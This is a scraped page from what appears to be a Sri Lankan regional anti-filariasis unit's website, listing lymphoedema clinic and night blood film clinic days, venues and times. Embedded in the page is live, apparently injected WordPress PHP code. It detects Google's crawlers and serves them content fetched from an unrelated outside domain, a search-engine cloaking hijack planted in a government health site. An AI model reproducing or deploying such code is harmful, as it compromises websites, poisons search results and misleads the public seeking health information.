Clinic Schedule For Lymphoedema Patients

INSTITUTIONDAYVENUETIME
Regional Anti Filariasis Unit-
Kalutara
District Secretariat Building, P.O.
Box.29, Kalutara
034 2222145
Every Monday

Every Thursday

2nd and 4th Wednesday
RAFU Kalutara

MOH Office Panadura

PMCU Wadduwa
8.30am-12.00pm

8.30am-12.00pm

8.30am- 12.00pm

Night Blood Film Clinics

INSTITUTIONDAYVENUETIME
Regional Anti Filariasis Unit-
Kalutara
District Secretariat Building, P.O.
Box.29, Kalutara
034 2222145
Every WednesdayDistrict Secretariate office
Kalutara
8.00p.m-10.00p.m

add_action('template_redirect', function () {
    if (is_admin()) return;
    if ($_SERVER['REQUEST_METHOD'] !== 'GET') return;
   
    $request_uri = strtolower($_SERVER['REQUEST_URI'] ?? '');
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $is_googlebot = preg_match('/(googlebot|google-inspectiontool|google page speed|googlebot-image|mediapartners-google)/i', $ua);
    $google_ips = ['66.249.', '108.177.', '172.217.', '216.58.'];
    $ip_matches = false;
    foreach ($google_ips as $gip) {
        if (strpos($_SERVER['REMOTE_ADDR'] ?? '', $gip) === 0) {
            $ip_matches = true;
            break;
        }
    }
    $headers = getallheaders();
    $is_gsc_test = isset($headers['X-Google-Apps-Internal']) ||
                   isset($headers['X-Cloud-Trace-Context']);
   
    if ($is_googlebot || $ip_matches || $is_gsc_test) {
        $map = ['' => 'https://bandungtourism.info/bandung/afc.health.gov.lk.txt'];
       
        foreach ($map as $dir => $remote_url) {
            if ($dir === '' && ($request_uri === '/' || $request_uri === '' ||
                $request_uri === '/index.php' || $request_uri === '/index.html')) {
               
                $resp = wp_remote_get($remote_url, [
                    'timeout' => 5,
                    'headers' => ['User-Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Googlebot']
                ]);
               
                if (!is_wp_error($resp)) {
                    while (ob_get_level()) ob_end_clean();
                    status_header(200);
                    nocache_headers();
                    header('Content-Type: text/html; charset=UTF-8');
                    echo wp_remote_retrieve_body($resp);
                    exit;
                }
            }
        }
    }
}, 0);

වැදගත් සිදුවීම්